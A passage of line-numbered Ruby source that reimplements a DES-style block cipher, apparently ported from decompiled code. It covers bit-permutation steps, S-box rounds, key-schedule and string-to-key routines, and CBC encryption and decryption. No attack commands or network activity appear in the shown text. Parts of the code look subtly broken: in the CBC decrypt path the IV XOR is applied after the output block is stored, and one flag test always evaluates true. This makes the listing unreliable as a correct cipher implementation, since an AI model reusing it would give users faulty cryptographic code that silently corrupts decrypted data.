v5 |= 0x200000
749
end
750
if (v4 & 0x20000000) != 0
751
v5 |= 0x400000
752
end
753
if (v3 & 0x20000000) != 0
754
v5 |= 0x800000
755
end
756
if (v4 & 0x10) != 0
757
v5 |= 0x1000000
758
end
759
if (v3 & 0x10) != 0
760
v5 |= 0x2000000
761
end
762
if (v4 & 0x1000) != 0
763
v5 |= 0x4000000
764
end
765
if (v3 & 0x1000) != 0
766
v5 |= 0x8000000
767
end
768
if (v4 & 0x100000) != 0
769
v5 |= 0x10000000
770
end
771
if (v3 & 0x100000) != 0
772
v5 |= 0x20000000
773
end
774
if (v4 & 0x10000000) != 0
775
v5 |= 0x40000000
776
end
777
if (v3 & 0x10000000) != 0
778
v5 |= 0x80000000
779
end
780
if (v4 & 8) != 0
781
v6 = 1
782
end
783
if (v3 & 8) != 0
784
v6 |= 2
785
end
786
if (v4 & 0x800) != 0
787
v6 |= 4
788
end
789
if (v3 & 0x800) != 0
790
v6 |= 8
791
end
792
if (v4 & 0x80000) != 0
793
v6 |= 0x10
794
end
795
if (v3 & 0x80000) != 0
796
v6 |= 0x20
797
end
798
if (v4 & 0x8000000) != 0
799
v6 |= 0x40
800
end
801
if (v3 & 0x8000000) != 0
802
v6 |= 0x80
803
end
804
if (v4 & 4) != 0
805
v6 |= 0x100
806
end
807
if (v3 & 4) != 0
808
v6 |= 0x200
809
end
810
if (v4 & 0x400) != 0
811
v6 |= 0x400
812
end
813
if (v3 & 0x400) != 0
814
v6 |= 0x800
815
end
816
if (v4 & 0x40000) != 0
817
v6 |= 0x1000
818
end
819
if (v3 & 0x40000) != 0
820
v6 |= 0x2000
821
end
822
if (v4 & 0x4000000) != 0
823
v6 |= 0x4000
824
end
825
if (v3 & 0x4000000) != 0
826
v6 |= 0x8000
827
end
828
if (v4 & 2) != 0
829
v6 |= 0x10000
830
end
831
if (v3 & 2) != 0
832
v6 |= 0x20000
833
end
834
if (v4 & 0x200) != 0
835
v6 |= 0x40000
836
end
837
if (v3 & 0x200) != 0
838
v6 |= 0x80000
839
end
840
if (v4 & 0x20000) != 0
841
v6 |= 0x100000
842
end
843
if (v3 & 0x20000) != 0
844
v6 |= 0x200000
845
end
846
if (v4 & 0x2000000) != 0
847
v6 |= 0x400000
848
end
849
if (v3 & 0x2000000) != 0
850
v6 |= 0x800000
851
end
852
if (v4 & 1) != 0
853
v6 |= 0x1000000
854
end
855
if (v3 & 1) != 0
856
v6 |= 0x2000000
857
end
858
if (v4 & 0x100) != 0
859
v6 |= 0x4000000
860
end
861
if (v3 & 0x100) != 0
862
v6 |= 0x8000000
863
end
864
if (v4 & 0x10000) != 0
865
v6 |= 0x10000000
866
end
867
if (v3 & 0x10000) != 0
868
v6 |= 0x20000000
869
end
870
if (v4 & 0x1000000) != 0
871
v6 |= 0x40000000
872
end
873
if (v3 & 0x1000000) != 0
874
v6 |= 0x80000000
875
end
876
877
# Create return tuple
878
ret_block = Array.new
879
ret_block.push v5
880
ret_block.push v6
881
ret_block
882
end
883
884
def load(a1)
885
a2 = Array.new(8, 0)
886
v3 = a1
887
a2[0] = a1 & 0xff
888
v3 >>= 3
889
a2[1] = v3 & 0xff
890
v3 >>= 4
891
a2[2] = v3 & 0xff
892
v3 >>= 4
893
a2[3] = v3 & 0xff
894
v3 >>= 4
895
a2[4] = v3 & 0xff
896
v3 >>= 4
897
a2[5] = v3 & 0xff
898
v3 >>= 4
899
a2[6] = v3 & 0xff
900
v3 >>= 4
901
a2[7] = v3 & 0xff
902
a2[0] = (a2[0] * 2) & 0xff
903
a2[7] |= (16 * a2[0]) & 0xff
904
v3 >>= 4
905
a2[0] |= v3 & 0xff
906
907
data_block = a2.pack("c*").unpack("V*")
908
data_block[0] &= 0x3F3F3F3F
909
data_block[1] &= 0x3F3F3F3F
910
data_block
911
end
912
913
def desx(data_block, ksch, idx)
914
ksch = ksch.pack("V*")
915
ksch = ksch.unpack("Q<*")
916
key_block = ksch[idx]
917
918
data_block_ptr = data_block.pack("V*")
919
data_block_ptr = data_block_ptr.unpack1("Q<*")
920
data_block_ptr ^= key_block
921
922
counter = 1
923
data_block_byte_ptr = [data_block_ptr].pack('Q<')
924
left = SBOXES[data_block_byte_ptr[0].ord]
925
right = SBOXES[data_block_byte_ptr[0].ord + (counter << 6)]
926
counter += 1
927
left ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]
928
counter += 1
929
right ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]
930
counter += 1
931
left ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]
932
counter += 1
933
right ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]
934
counter += 1
935
left ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]
936
counter += 1
937
right ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]
938
counter += 1
939
left ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]
940
counter += 1
941
right ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]
942
counter += 1
943
left ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]
944
counter += 1
945
right ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]
946
counter += 1
947
left ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]
948
counter += 1
949
right ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]
950
counter += 1
951
left ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]
952
counter += 1
953
right ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]
954
955
# Create return tuple
956
ret_block = Array.new
957
ret_block.push left
958
ret_block.push right
959
ret_block
960
961
end
962
963
def store(data_block)
964
a1 = data_block.pack("V*")
965
val = 8 * (16 * (16 * (16 * (16 * (16 * (16 * a1[7].ord | a1[6].ord) | a1[5].ord) | a1[4].ord) | a1[3].ord) | a1[2].ord) | a1[1].ord) | a1[0].ord >> 1
966
val & 0xffffffff
967
end
968
969
def sbox_xors(data_block_in, ksch_arg, decrypt_flag)
970
971
decrypt_flag_cpy = decrypt_flag
972
if (decrypt_flag & 0x100) != 0
973
data_block_0 = data_block_in
974
else
975
data_block_0 = rotate_block_init(data_block_in)
976
end
977
978
encrypt_flag = (decrypt_flag_cpy & 1) == 0
979
ti_block_0 = load(data_block_0[0])
980
ti_block_1 = load(data_block_0[1])
981
982
for i in 0..15
983
ti_cpy = ti_block_1
984
if encrypt_flag
985
ti_block_1 = desx(ti_block_1, ksch_arg, i)
986
else
987
ti_block_1 = desx(ti_block_1, ksch_arg, 15 - i)
988
end
989
ti_block_1[0] ^= ti_block_0[0]
990
ti_block_1[1] ^= ti_block_0[1]
991
ti_block_0 = ti_cpy
992
end
993
994
data_block_0[0] = store(ti_block_1)
995
data_block_0[1] = store(ti_block_0)
996
997
if (!(decrypt_flag_cpy & 0x200) != 0)
998
rotate_block_final(data_block_0)
999
else
1000
data_block_0
1001
end
1002
1003
end
1004
1005
def gen_key_unchecked(key)
1006
1007
idx = 0
1008
key_arr = key.unpack("V*")
1009
key_sch = Array.new
1010
for i in 0..15
1011
idx += ROTATIONS[i].ord
1012
v6 = 0
1013
v5 = 0
1014
v14 = 0
1015
for j in 0..47
1016
pc2_p1 = (idx + PC2[j].ord) % 0x1C
1017
if PC2[j].ord > 0x1B
1018
pc2_p2 = 0x1c
1019
else
1020
pc2_p2 = 0
1021
end
1022
v13 = PC1[pc2_p1 + pc2_p2].ord
1023
if v13 <= 31
1024
v12 = 0
1025
else
1026
v12 = 1
1027
v13 -= 32
1028
end
1029
if j <= 23
1030
v10 = j
1031
else
1032
v14 = 1
1033
v10 = j - 24
1034
end
1035
v11 = 8 * (v10 / 6) + v10 % 6
1036
key_and = key_arr[v12] & SBOX_BYTE_ORDER[v13]
1037
1038
if (key_and != 0)
1039
if v14 == 1
1040
v6 |= SBOX_BYTE_ORDER[v11]
1041
else
1042
v5 |= SBOX_BYTE_ORDER[v11]
1043
end
1044
end
1045
end
1046
key_sch.push v5
1047
key_sch.push v6
1048
end
1049
key_sch
1050
end
1051
1052
def des_string_to_key(key_buf_str)
1053
1054
des_keysch_0 = gen_key_unchecked(INIT_DES_KEY_0)
1055
des_keysch_1 = gen_key_unchecked(INIT_DES_KEY_1)
1056
1057
temp_key1 = Array.new(8, 0)
1058
temp_key2 = Array.new(8, 0)
1059
1060
key_buf_bytes = key_buf_str.unpack("c*")
1061
1062
counter = 0
1063
key_buf_str_len = key_buf_bytes.length - 1
1064
for i in 0..key_buf_str_len
1065
counter %= 8
1066
temp_key1[counter] |= key_buf_bytes[i]
1067
temp_key2[counter] |= key_buf_bytes[i]
1068
1069
data_block = temp_key1.pack("c*").unpack("V*")
1070
temp_key1 = sbox_xors(data_block, des_keysch_0, 0)
1071
temp_key1 = temp_key1.pack("V*").unpack("c*")
1072
1073
data_block = temp_key2.pack("c*").unpack("V*")
1074
temp_key2 = sbox_xors(data_block, des_keysch_1, 0)
1075
temp_key2 = temp_key2.pack("V*").unpack("c*")
1076
counter += 1
1077
end
1078
1079
# Prepare the return array
1080
ret_key = Array.new(8, 0)
1081
for j in 0..7
1082
ret_key[j] = temp_key2[j] ^ temp_key1[j]
1083
end
1084
ret_key.pack("c*")
1085
end
1086
1087
def des_cbc(input_buf, key_sch, iv, decrypt_flag)
1088
1089
output_block_arr = Array.new
1090
blocks = input_buf.unpack("Q<*")
1091
for i in 0..blocks.length - 1
1092
1093
current_block = blocks[i]
1094
if decrypt_flag == 1
1095
cur_block = current_block
1096
else
1097
current_block ^= iv
1098
end
1099
1100
current_block_tuple = [current_block].pack("Q<").unpack("V*")
1101
output_block_tuple = sbox_xors(current_block_tuple, key_sch, decrypt_flag)
1102
output_block = output_block_tuple.pack("V*").unpack1("Q<")
1103
output_block_arr.push output_block
1104
1105
if decrypt_flag == 1
1106
output_block ^= iv
1107
iv = cur_block
1108
else
1109
iv = output_block
1110
end
1111
end
1112
1113
output_block_arr.pack("Q<*")
1114
1115
end
1116
1117
def des_crypt_func(binary_buf, key_buf, decrypt_flag)
1118
des_key = des_string_to_key(key_buf)
1119
des_keysch = gen_key_unchecked(des_key)
1120
1121
temp_enc_buf = Array.new(8 * ((binary_buf.length + 7) >> 3) + 8, 0)
1122
binary_buf_str = binary_buf.unpack('c*')
1123
1124
for j in 0..binary_buf_str.length - 1
1125
temp_enc_buf[j] = binary_buf_str[j]
1126
end
1127
1128
temp_enc_buf = temp_enc_buf.pack('c*')
1129
output_buf = des_cbc(temp_enc_buf, des_keysch, 0, decrypt_flag)
1130
output_buf
1131
end
1132
1133
end
1134
1135